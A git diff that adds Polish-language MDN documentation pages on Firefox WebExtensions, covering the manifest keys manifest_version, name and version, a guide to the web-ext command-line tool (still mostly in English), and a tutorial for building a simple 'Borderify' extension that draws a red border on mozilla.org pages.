+"manifest_version": 2</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Ten klucz określa wersję pliku manifest.json użytego w rozszerzeniu.</p>
+
+<p>Obecnie zawsze musi to być 2.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: json no-line-numbers">"manifest_version": 2
+</pre>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.manifest.manifest_version")}}</p>
diff --git a/files/pl/mozilla/add-ons/webextensions/manifest.json/name/index.html b/files/pl/mozilla/add-ons/webextensions/manifest.json/name/index.html
new file mode 100644
index 0000000000..1e4ade2df8
--- /dev/null
+++ b/files/pl/mozilla/add-ons/webextensions/manifest.json/name/index.html
@@ -0,0 +1,40 @@
+---
+title: name
+slug: Mozilla/Add-ons/WebExtensions/manifest.json/name
+translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/name
+---
+<div>{{AddonSidebar}}</div>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <th scope="row" style="width: 30%;">Typ</th>
+ <td><code>String (Ciąg znaków)</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Obowiązkowy</th>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <th scope="row">Przykład</th>
+ <td>
+ <pre class="brush: json no-line-numbers">
+"name": "Moje rozszerzenie"</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Nazwa rozszerzenia. Jest używana do zidentyfikowania rozszerzenia w przeglądarce użytkownika i na takich serwisach jak np. addons.mozilla.org.</p>
+
+<p>Jest to <a href="/en-US/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json">"właściwość zlokalizowana"</a>.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: json no-line-numbers">"name": "Moje rozszerzenie"</pre>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.manifest.name")}}</p>
diff --git a/files/pl/mozilla/add-ons/webextensions/manifest.json/version/index.html b/files/pl/mozilla/add-ons/webextensions/manifest.json/version/index.html
new file mode 100644
index 0000000000..327d877861
--- /dev/null
+++ b/files/pl/mozilla/add-ons/webextensions/manifest.json/version/index.html
@@ -0,0 +1,45 @@
+---
+title: version
+slug: Mozilla/Add-ons/WebExtensions/manifest.json/version
+translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/version
+---
+<p>{{AddonSidebar}}</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <th scope="row" style="width: 30%;">Typ</th>
+ <td><code>String (ciąg znaków)</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Obowiązkowe</th>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <th scope="row">Przykład</th>
+ <td>
+ <pre class="brush: json no-line-numbers">
+"version": "0.1"</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Wersja rozszerzenia, sformatowana jako liczby i znaki ASCII oddzielone kropkami. Szczegółowe informacje na temat formatu wersji znajdują się na stronie <a href="https://developer.mozilla.org/en-US/docs/Toolkit_version_format">Format Wersji</a>.</p>
+
+<p>Pamiętaj, że <a href="https://developer.chrome.com/extensions/manifest/version">składnia zdefiniowana dla <code>version</code> w Chromie</a> jest bardziej restrykcyjna niż ta używana w  przeglądarce Firefox:</p>
+
+<ul>
+ <li>wartości <code>version</code> ważne w Chrome zawsze będą ważne w Firefox</li>
+ <li>wartości <code>version</code> ważne w Firefox mogą nie być ważne w Chrome</li>
+</ul>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: json no-line-numbers">"version": "0.1"</pre>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.manifest.version")}}</p>
diff --git a/files/pl/mozilla/add-ons/webextensions/pierwsze_kroki_z_web-ext/index.html b/files/pl/mozilla/add-ons/webextensions/pierwsze_kroki_z_web-ext/index.html
new file mode 100644
index 0000000000..d88ccda07e
--- /dev/null
+++ b/files/pl/mozilla/add-ons/webextensions/pierwsze_kroki_z_web-ext/index.html
@@ -0,0 +1,296 @@
+---
+title: Pierwsze kroki z web-ext
+slug: Mozilla/Add-ons/WebExtensions/Pierwsze_kroki_z_web-ext
+translation_of: Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext
+---
+<div>{{AddonSidebar}}</div>
+
+<p class="summary">web-ext is a command line tool designed to speed up various parts of the extension development process, making development faster and easier. This article explains how to install and use web-ext.</p>
+
+<h2 id="Instalacja">Instalacja</h2>
+
+<p>web-ext is a node-based application that you install with the <a href="https://nodejs.org/">nodejs/npm</a> tool. Install web-ext using the following command:</p>
+
+<pre class="brush: bash"><code>npm install --global web-ext</code></pre>
+
+<p>web-ext requires the current <a href="https://github.com/nodejs/Release#release-schedule">LTS</a> (long-term support) version of <a href="https://nodejs.org/">NodeJS</a>.</p>
+
+<p>To test whether the installation worked run the following command, which displays the web-ext version number:</p>
+
+<pre class="brush: bash"><code>web-ext --version</code></pre>
+
+<h2 id="Użycie_web-ext">Użycie web-ext</h2>
+
+<p>Before you start using web-ext, locate an example extension to use—if you don't have one, use one from the <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repo.</p>
+
+<h3 id="Testing_out_an_extension">Testing out an extension</h3>
+
+<p>Test an extension in Firefox by <code>cd</code>'ing into your extension's root directory and entering:</p>
+
+<pre class="brush: bash"><code>web-ext run</code></pre>
+
+<p>This starts Firefox and loads the extension temporarily in the browser, just as you can on the <a href="/en-US/docs/Tools/about:debugging#Add-ons">about:debugging page</a>.</p>
+
+<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run reference guide</a> to learn more.</p>
+
+<h3 id="Automatic_extension_reloading">Automatic extension reloading</h3>
+
+<p>The <code>run</code> command watches your source files and tells Firefox to reload the extension after you edit and save a file. For example, if you changed the <code>name</code> property in your <code>manifest.json</code> file, Firefox displays the new name. This makes it easy to try out new features because you can see the effect immediately. The automatic reloading feature is active by default, you use it like this:</p>
+
+<pre class="brush: bash"><code>web-ext run</code></pre>
+
+<p>You can also press the <code>r</code> key in the <code>web-ext</code> terminal to trigger an extension reload.</p>
+
+<p>If you experience unexpected behavior with the reloading feature, please <a href="https://github.com/mozilla/web-ext/issues">file a bug</a>. You can also disable reloading like this:</p>
+
+<pre class="brush: bash"><code>web-ext run --no-reload</code></pre>
+
+<div class="note">
+<p>Extension reloading is only supported in Firefox 49 or higher.</p>
+</div>
+
+<h3 id="Testing_in_different_versions_of_Firefox">Testing in different versions of Firefox</h3>
+
+<p>To run your extension in a version of <a href="https://www.mozilla.org/en-US/firefox/">Firefox Desktop</a> other than the default, use the <code>--firefox</code> option to specify a full path to the binary file. Here is an example for Mac OS:</p>
+
+<pre class="brush: bash">web-ext run --firefox=/Applications/FirefoxNightly.app/Contents/MacOS/firefox-bin</pre>
+
+<p>On Windows, the path needs to include <code>firefox.exe</code>, for example:</p>
+
+<pre class="brush: bash">web-ext run --firefox="C:\Program Files\Mozilla Firefox\firefox.exe"</pre>
+
+<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run command</a> reference to learn more.</p>
+
+<h3 id="Testing_in_Firefox_48">Testing in Firefox 48</h3>
+
+<p>Firefox 48 was the first stable version to use the WebExtension platform, but it doesn't allow <code>web-ext</code> to install an extension remotely. You need to run your extension in Firefox 48 using:</p>
+
+<pre class="brush: bash">web-ext run --pre-install</pre>
+
+<h3 id="Testing_in_Firefox_for_Android">Testing in Firefox for Android</h3>
+
+<p>To run your extension in <a href="https://www.mozilla.org/en-US/firefox/mobile/">Firefox for Android</a>, follow these instructions to <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android#Set_up_your_computer_and_Android_emulator_or_device">set up your computer and device</a>.</p>
+
+<p>With your device connected to your development computer, run:</p>
+
+<pre class="brush: bash">web-ext run --target=firefox-android</pre>
+
+<p>This command displays the device ID for your connected Android device or devices. If you don't see a list of device IDs, make sure you set up the device for development correctly.</p>
+
+<p><span style="background-color: #ffffff;">N</span>ow, add the device ID to the command:</p>
+
+<pre class="brush: bash">web-ext run --target=firefox-android --android-device=&lt;device ID&gt;</pre>
+
+<p>If you've multiple versions of Firefox installed, you may need to choose a specific version. For example:</p>
+
+<pre class="brush: bash">web-ext run --target=firefox-android ... --firefox-apk=org.mozilla.firefox</pre>
+
+<p>The first time you run this command, you may need to grant Android permissions for the APK. This is because the command needs read / write access to the device storage, so that Firefox for Android can run on a temporary profile. The <code>web-ext</code> output guides you in how to grant these permissions.</p>
+
+<p>The <code>web-ext</code> command does not alter any of your existing Firefox for Android preferences or data. To see more information about how <code>web-ext</code> is interacting with your device, run the command with <code>--verbose</code>.</p>
+
+<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run command</a> reference to learn more.</p>
+
+<h3 id="Debugging_in_Firefox_for_Android">Debugging in Firefox for Android</h3>
+
+<p>When using <code>web-ext run</code> to test an extension on Firefox for Android, you'll notice a message like this in the console output:</p>
+
+<pre>You can connect to this Android device on TCP port 51499
+</pre>
+
+<p>This is a remote debugger port that you can <a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android#Connecting">connect to with Firefox's developer tools</a>. In this case, you'd connect to host <code>localhost</code> on port <code>51499</code>.</p>
+
+<p>See <a href="/en-US/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android#Debug_your_extension">this guide</a> for more information about debugging an extension on Firefox for Android.</p>
+
+<h3 id="Testing_unsigned_extensions">Testing unsigned extensions</h3>
+
+<p>When you execute <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">web-ext run</a>, the extension gets installed temporarily until you close Firefox. This does not violate any signing restrictions. If instead you create a zip file with <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_build">web-ext build</a> and try to install it into Firefox, you will see an error telling you that the add-on is not signed. You will need to use an <a href="https://wiki.mozilla.org/Addons/Extension_Signing#Unbranded_Builds">unbranded build</a> or use a <a href="https://www.mozilla.org/en-US/firefox/developer/">development build</a> to install unsigned extensions.</p>
+
+<h3 id="Using_a_custom_profile">Using a custom profile</h3>
+
+<p>By default, the <code>run</code> command will create a temporary Firefox profile. To run your extension with a specific profile use the <code>--firefox-profile</code> option, like this:</p>
+
+<pre class="brush: bash">web-ext run --firefox-profile=your-custom-profile</pre>
+
+<p>This option accepts a string containing the name of your profile or an absolute path to the profile directory. This is helpful if you want to manually configure some settings that will always be available to the <code>run</code> command.</p>
+
+<h3 id="Keeping_profile_changes">Keeping profile changes</h3>
+
+<p>The <code>run</code> command does not save any changes made to the custom profile specified by <code>--firefox-profile</code>. To keep changes, add this option:</p>
+
+<pre class="brush: bash">web-ext run --keep-profile-changes --firefox-profile=your-custom-profile</pre>
+
+<p>This may be helpful if your extension has many different run states.</p>
+
+<div class="warning">
+<p>This option makes the profile specified by <code>--firefox-profile</code> completely insecure for daily use. It turns off auto-updates and allows silent remote connections, among other things. Specifically, it will make destructive changes to the profile that are required for <code>web-ext</code> to operate.</p>
+</div>
+
+<h3 id="Packaging_your_extension">Packaging your extension</h3>
+
+<p>Once you've tested your extension and verified that it's working, you can turn it into a package for submitting to <a href="https://addons.mozilla.org">addons.mozilla.org</a> using the following command:</p>
+
+<pre class="brush: bash"><code>web-ext build</code></pre>
+
+<p>This outputs a full path to the generated <code>.zip</code> file that can be loaded into a browser.</p>
+
+<div class="warning">
+<p>The generated <code>.zip</code> file doesn't work on Firefox without signing or adding <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications</a>.gecko.id</code> key into <code><a href="/en-US/Add-ons/WebExtensions/manifest.json">manifest.json</a></code>.  For more information, please refer <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">WebExtensions and the Add-on ID</a> page.</p>
+</div>
+
+<p><code>web-ext build</code> is designed to ignore files that are commonly not wanted in packages, such as <code>.git</code>, <code>node_modules</code>, and other artifacts.</p>
+
+<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_build">build reference guide</a> to learn more.</p>
+
+<h3 id="Signing_your_extension_for_distribution">Signing your extension for distribution</h3>
+
+<p>As an alternative to publishing your extension on <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, you can self-host your package file but it needs to be <a href="https://developer.mozilla.org/Add-ons/Distribution">signed by Mozilla</a> first. The following command packages and signs a ZIP file, then returns it as a signed XPI file for distribution:</p>
+
+<pre class="brush: bash"><code>web-ext sign --api-key=$AMO_JWT_ISSUER --api-secret=$AMO_JWT_SECRET </code></pre>
+
+<p>The API options are required to specify your <a href="https://addons.mozilla.org/en-US/developers/addon/api/key/">addons.mozilla.org credentials</a>.</p>
+
+<ul>
+ <li><code>--api-key</code>: the API key (JWT issuer) from <code>addons.mozilla.org</code> needed to sign the extension. This is a string that will look something like <code>user:12345:67</code>.</li>
+ <li><code>--api-secret</code>: the API secret (JWT secret) from <code>addons.mozilla.org</code> needed to sign the extension. This is a string that will look something like <code>634f34bee43611d2f3c0fd8c06220ac780cff681a578092001183ab62c04e009</code>.</li>
+</ul>
+
+<p>See the <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_sign">sign reference guide</a> to learn more.</p>
+
+<h3 id="Signing_extensions_without_an_explicit_ID">Signing extensions without an explicit ID</h3>
+
+<p><code>web-ext</code> supports signing extensions that do not declare the <a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications.gecko.id</a> property in their manifest. The first time you sign an extension without an explicit ID, <a href="https://addons.mozilla.org/">addons.mozilla.org</a> will generate an ID and <code>web-ext</code> will save it to <code>.web-extension-id</code> in the working directory. You should save the ID file so that you can sign future versions of the same extension. If you lose the ID file, you will have to add back the <code>applications.gecko.id</code> property or use the <code>--id</code> option when signing, for example:</p>
+
+<pre class="brush: bash"><code>web-ext sign --api-key=... --api-secret=... --id="</code>{c23c69a7-f889-447c-9d6b-7694be8035bc}<code>"</code></pre>
+
+<h3 id="Signing_in_a_restricted_environment">Signing in a restricted environment</h3>
+
+<p>If you're working in an environment that restricts access to certain domains, you can try using a proxy when signing:</p>
+
+<pre class="brush: bash"><code>web-ext sign --api-key=... --api-secret=... --api-proxy=https://yourproxy:6000</code></pre>
+
+<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--api-proxy">--api-proxy</a> option to learn more.</p>
+
+<p>The following domains are used for signing and downloading files:</p>
+
+<ul>
+ <li><code>addons.mozilla.org</code></li>
+ <li><code>addons.cdn.mozilla.net</code></li>
+</ul>
+
+<h3 id="Checking_for_code_lint">Checking for code "lint"</h3>
+
+<p>Before trying out your extension with the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run</a> command or submitting your package to <a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a>, use the <code>lint</code> command to make sure your <a href="/en-US/Add-ons/WebExtensions/manifest.json">manifest</a> and other source files do not contain any errors. Example:</p>
+
+<pre class="brush: bash">web-ext lint</pre>
+
+<p>This uses the <a href="https://github.com/mozilla/addons-linter">addons-linter</a> library to walk through your source code directory and report any errors, such as the declaration of an unknown permission.</p>
+
+<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_lint">lint reference guide</a> to learn more.</p>
+
+<h3 id="Setting_option_defaults_in_a_configuration_file">Setting option defaults in a configuration file</h3>
+
+<p>You can specify <code>--config=my-config.js</code> to set default values for any option. Here is an example with the <code>build</code> command:</p>
+
+<pre class="brush: bash">web-ext --config=my-config.js build</pre>
+
+<p>The file should be a CommonJS module <a href="https://nodejs.org/docs/latest/api/modules.html#modules_modules">as understood by NodeJS</a> and must export each configuration value. Here is how you would set the default value of <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--verbose_-v">--verbose</a> to <code>true</code>:</p>
+
+<pre class="brush: javascript">module.exports = {
+ verbose: true,
+};</pre>
+
+<p>If you want to specify options that only apply to a specific command, you nest the configuration under the command name. Here is an example of adding configuration for <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--overwrite-dest_-o">--overwrite-dest</a> that only applies to the <code>build</code> command as well as <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--firefox_-f">--firefox</a> that only applies to the <code>run</code> command:</p>
+
+<pre class="brush: javascript">module.exports = {
+ // Global options:
+ verbose: true,
+ // Command options:
+ build: {
+ overwriteDest: true,
+ },
+ run: {
+ firefox: 'nightly',
+ },
+};</pre>
+
+<p>To create a configuration key for a command line option, you remove the preceding dashes and convert the name to camel case. As you can see from this example, <code>--overwrite-dest</code> was converted to <code>overwriteDest</code>.</p>
+
+<p>If an option can be specified multiple times on the command line then you define it as an array. For example, here is how to specify multiple <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--ignore-files_-i">--ignore-files</a> patterns:</p>
+
+<pre class="brush: javascript">module.exports = {
+ ignoreFiles: [
+ 'package-lock.json',
+ 'yarn.lock',
+ ],
+};</pre>
+
+<h3 id="Automatic_discovery_of_configuration_files">Automatic discovery of configuration files</h3>
+
+<p><code>web-ext</code> will load existing configuration files in the following order:</p>
+
+<ul>
+ <li>A config file named <code>.web-ext-config.js</code> in your home directory, for example:
+
+ <ul>
+ <li>On Windows: <code>C:\Users\&lt;username&gt;\.web-ext-config.js</code></li>
+ <li>On macOS: <code>/Users/&lt;username&gt;/.web-ext-config.js</code></li>
+ <li>On Linux: <code>/home/&lt;username&gt;/.web-ext-config.js</code></li>
+ </ul>
+ </li>
+ <li>A config file named <code>web-ext-config.js</code> in the current directory.</li>
+</ul>
+
+<p>If a home directory config and a local directory config define the same option, the value from the latter file will be used.</p>
+
+<p>To disable automatic loading of configuration files, set this option:</p>
+
+<pre class="brush: bash">web-ext --no-config-discovery run</pre>
+
+<p>To diagnose an issue related to config files, re-run your command with <code>--verbose</code>. This will tell you which config file affected which option value.</p>
+
+<h3 id="Specifying_different_source_and_destination_directories">Specifying different source and destination directories</h3>
+
+<p>The preceding commands use default directories for the extension source and artifact creation (for example, built <code>.zip</code> files). The defaults are:</p>
+
+<ul>
+ <li>Source: The directory you are in.</li>
+ <li>Artifacts: A directory called <code>./web-ext-artifacts</code>, created inside the current directory.</li>
+</ul>
+
+<p>You can specify different source and destination directories using the <code>--source-dir</code> and <code>--artifacts-dir</code> options when running your commands. Their values can be relative or absolute paths, but must always be specified as strings. Here is an example of specifying both options when building an extension:</p>
+
+<pre class="brush: bash"><code>web-ext build --source-dir=webextension-examples/notify-link-clicks-i18n --artifacts-dir=zips</code></pre>
+
+<h3 id="Outputting_verbose_messages">Outputting verbose messages</h3>
+
+<p>To see in detail what web-ext is doing when you run a command, include the <code>--verbose</code> option. For example:</p>
+
+<pre class="brush: bash"><code>web-ext build --verbose</code></pre>
+
+<h3 id="Viewing_all_commands_and_options">Viewing all commands and options</h3>
+
+<p>You can list all commands and options like this:</p>
+
+<pre class="brush: bash"><code>web-ext --help</code></pre>
+
+<p>You can list options for a specific command by adding it as an argument:</p>
+
+<pre class="brush: bash"><code>web-ext --help run</code></pre>
+
+<h3 id="Detecting_temporary_installation">Detecting temporary installation</h3>
+
+<p>Your extension can detect whether it was installed using <code>web-ext run</code>, rather than as a built and signed extension downloaded from <code>addons.mozilla.org</code>. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event and check the value of <code>details.temporary</code>.</p>
+
+<h3 id="Using_web-ext_from_a_script">Using web-ext from a script</h3>
+
+<p>You can use <code>web-ext</code> as a <code>NodeJS</code> module. Here is <a href="https://github.com/mozilla/web-ext#using-web-ext-in-nodejs-code">more information</a>, with example code.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external external-icon" href="https://github.com/mozilla/web-ext">web-ext repo</a></li>
+ <li>
+ <p><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext command reference</a></p>
+ </li>
+</ul>
diff --git a/files/pl/mozilla/add-ons/webextensions/twój_pierwszy_webextension/index.html b/files/pl/mozilla/add-ons/webextensions/twój_pierwszy_webextension/index.html
new file mode 100644
index 0000000000..f5f1f8e3fc
--- /dev/null
+++ b/files/pl/mozilla/add-ons/webextensions/twój_pierwszy_webextension/index.html
@@ -0,0 +1,152 @@
+---
+title: Twoje pierwsze rozszerzenie
+slug: Mozilla/Add-ons/WebExtensions/Twój_pierwszy_WebExtension
+translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
+---
+<div>{{AddonSidebar}}</div>
+
+<p>W tym artykule przejdziemy przez tworzenie rozszerzenia dla przeglądarki Firefox od początku do końca. Rozszerzenie to tylko dodaje czerwoną ramkę do stron załadowanych z "mozilla.org" lub dowolnej z jej poddomen.</p>
+
+<p>Kod źródłowy dla tego przykładu znajduje się na GitHub'ie: <a href="https://github.com/mdn/webextensions-examples/tree/master/borderify">https://github.com/mdn/webextensions-examples/tree/master/borderify</a>.</p>
+
+<p>Najpierw, będziesz potrzebować przeglądarki Firefox w wersji 45 lub nowszej.</p>
+
+<h2 id="Pisanie_rozszerzenia">Pisanie rozszerzenia</h2>
+
+<p>Stwórz nowy folder i przejdź do niego:</p>
+
+<pre class="brush: bash">mkdir borderify
+cd borderify</pre>
+
+<h3 id="manifest.json">manifest.json</h3>
+
+<p>Teraz stwórz nowy plik o nazwie "manifest.json" bezpośrednio w katalogu "borderify". Wprowadź do niego poniższy kod:</p>
+
+<pre class="brush: json">{
+
+ "manifest_version": 2,
+ "name": "Borderify",
+ "version": "1.0",
+
+ "description": "Dodaje czerwoną ramkę we wszystkich stronach powiązanych z domeną mozilla.org.",
+
+ "icons": {
+ "48": "icons/border-48.png"
+ },
+
+ "content_scripts": [
+ {
+ "matches": ["*://*.mozilla.org/*"],
+ "js": ["borderify.js"]
+ }
+ ]
+
+}</pre>
+
+<ul>
+ <li>Pierwsze trzy klucze: <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></code>, <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/name">name</a></code>, oraz <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/version">version</a></code>, są obowiązkowe i zawierają podstawowe metadane dla rozszerzenia.</li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/description">description</a></code> jest opcjonalny, ale zalecany: jest on wyświetlany w menadżerze rozszerzeń.</li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/icons">icons</a></code> jest opcjonalna, ale zalecana: pozwala ona nadać ikonę rozszerzeniu, która będzie wyświetlana w menadżerze rozszerzeń.</li>
+</ul>
+
+<p>Najbardziej interesującym kluczem jest tutaj <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>, który mówi przeglądarce, który skrypt wczytać do stron internetowych, których adres spełnia określony wzór. W tym przypadku prosimy przeglądarkę o wczytanie skryptu o nazwie "borderify.js" na wszystkich stronach HTTP i HTTPS obsługiwanych przez domenę "mozilla.org" bądź jakąkolwiek jej poddomenę.</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Dowiedz się więcek na temat zawartości skryptów.</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Match_patterns">Dowiedz się więcej na temat wzorców</a>.</li>
+</ul>
+
+<div class="warning">
+<p><a href="/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID#When_do_you_need_an_Add-on_ID">W niektórych sytuacjach musisz nadać ID swojemu rozszerzeniu</a>. Jeśli potrzebujesz nadać rozszerzeniu ID, dołącz klucz <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> do <code>manifest.json</code> i przypisz mu pole <code>id</code>:</p>
+
+<pre class="brush: json">"applications": {
+ "gecko": {
+ "id": "borderify@przyklad.pl"
+ }
+}</pre>
+</div>
+
+<h3 id="iconsborder-48.png">icons/border-48.png</h3>
+
+<p>Rozszerzenie powinno mieć ikonę. Będzie ona wyświetlona na liście dodatków w menadżerze rozszerzeń. Nasz manifest.json zapowiada, że będziemy mieć ikonę w "icons/border-48.png".</p>
+
+<p>Stwórz folder "icons" bezpośrednio w katalogu "borderify". Zapisz tam ikonę o nazwie "border-48.png". Możesz użyć <a href="https://github.com/mdn/webextensions-examples/blob/master/borderify/icons/border-48.png">tej naszej przykładowej</a>, która pochodzi ze zbioru ikon Google Material Design i jest używana zgodnie z warunkami licencji <a href="https://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-ShareAlike</a>.</p>
+
+<p>Jeśli zdecydujesz się dodać własną ikonę, to powinna być w formacie 48x48 pikseli. Możesz także dodać ikonę o rozmiarze 96x96 pikseli dla ekranów o wysokiej rozdzielczości i jeśli dodasz ją, to powinna ona zostać przypisana jako wartość pola 96 obiektu <code>icons</code> <br>
+ w pliku manifest.json:</p>
+
+<pre class="brush: json">"icons": {
+ "48": "icons/border-48.png",
+ "96": "icons/border-96.png"
+}</pre>
+
+<p>Ewentualnie możesz dodać plik SVG tutaj, więc zostanie on poprawnie przeskalowany. (Jeśli jednak używasz SVG, a twoja ikona zawiera napisy, możesz chcieć użyć narzędzia "przekonwertuj do ścieżki" w edytorze SVG, by spłaszczyć tekst, więc będzie skalowo dopasowany do położenia/rozmiaru).</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/manifest.json/icons">Dowiedz się więcej o określaniu ikon.</a></li>
+</ul>
+
+<h3 id="borderify.js">borderify.js</h3>
+
+<p>Ostatecznie stwórz plik o nazwie "borderify.js" bezpośrednio w katalogu "borderify". Wpisz do niego poniższy kod:</p>
+
+<pre class="brush: js">document.body.style.border = <code class="language-js"><span class="string token">"5px solid red"</span></code>;</pre>
+
+<p>Ten skrypt b<span class="st">ę</span>dzie załadowany na stronach spełniających wzór określony w kluczu <code>content_scripts</code> w pliku manifest.json. Skrypt ma bezpośredni dostęp do dokumentu, podobnie jak skrypty wczytane przez stronę.</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">Dowiedz się więcej o zawartości skryptów.</a></li>
+</ul>
+
+<h2 id="Wypróbujmy">Wypróbujmy</h2>
+
+<p>Najpierw dokładnie sprawdź, czy odpowiedne pliki są w właściwych miejsacach:</p>
+
+<pre>borderify/
+ icons/
+ border-48.png
+ borderify.js
+ manifest.json</pre>
+
+<h3 id="Instalacja">Instalacja</h3>
+
+<p>Otwórz "about:debugging" w przeglądarce Firefox, kliknij "Załaduj tymczasową wtyczkę" i wybierz jakikolwiek plik z katalogu z Twoim rozszerzeniem:</p>
+
+<p>{{EmbedYouTube("cer9EUKegG4")}}</p>
+
+<p>Rozszerzenie zostanie teraz zainstalowane i pozostanie tam do momentu ponownego uruchomienia Firefoksa.</p>
+
+<p>Alternatywnie, możesz także uruchomić swoje rozszerzenie za pomocą wiersza poleceń używając narzędzie <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a>.</p>
+
+<h3 id="Testowanie">Testowanie</h3>
+
+<p>Teraz spróbuj odwiedzić jakąś stronę należącą do "mozilla.org" i powinienieś zobaczyć czerwoną ramkę wokół strony:</p>
+
+<p>{{EmbedYouTube("rxBQl2Z9IBQ")}}</p>
+
+<div class="note">
+<p>Jednakże nie próbuj tego na addons.mozilla.org! Obecnie skrypty są blokowane na tej domenie.</p>
+</div>
+
+<p>Spróbuj trochę poeksperymentować. Edytuj zawartość skryptu by zmienić kolor ramki lub zrób coś innego z zawartością strony. Zapisz skrypt i przeładuj pliki rozszerzenia kilkając przycisk "Przeładuj" w about:debugging. Możesz zobaczy<span class="st">ć</span> zmiany odrazu:</p>
+
+<p>{{EmbedYouTube("NuajE60jfGY")}}</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Dowiedz się więcej o wczytywaniu rozszerzeń</a></li>
+</ul>
+
+<h2 id="Pakowanie_i_publikowanie">Pakowanie i publikowanie</h2>
+
+<p>Aby inni użytkownicy mogli korzystać z Twojego rozszerzenia, musisz je zapakować i wysłać do Mozilli w celu podpisania go. <br>
+ Aby dowiedzieć się więcej, zajrzyj do artykułu <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension">"Publikowanie własnego rozszerzenia"</a>.</p>
+
+<h2 id="Co_dalej">Co dalej?</h2>
+
+<p>Teraz gdy ty masz <span class="short_text" id="result_box" lang="pl"><span>pomysł</span></span> na temat procesu tworzenia rozszerzeń (WebExtension) dla Firefoxa, to spróbuj:</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">przeczytać więcej na temat anatomi rozszerzeń</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Your_second_WebExtension">napisać bardziej rozbudowane rozszerzenie</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/API">przeczytać o JavaScript API dostępnym dla rozszerzeń.</a></li>
+</ul>
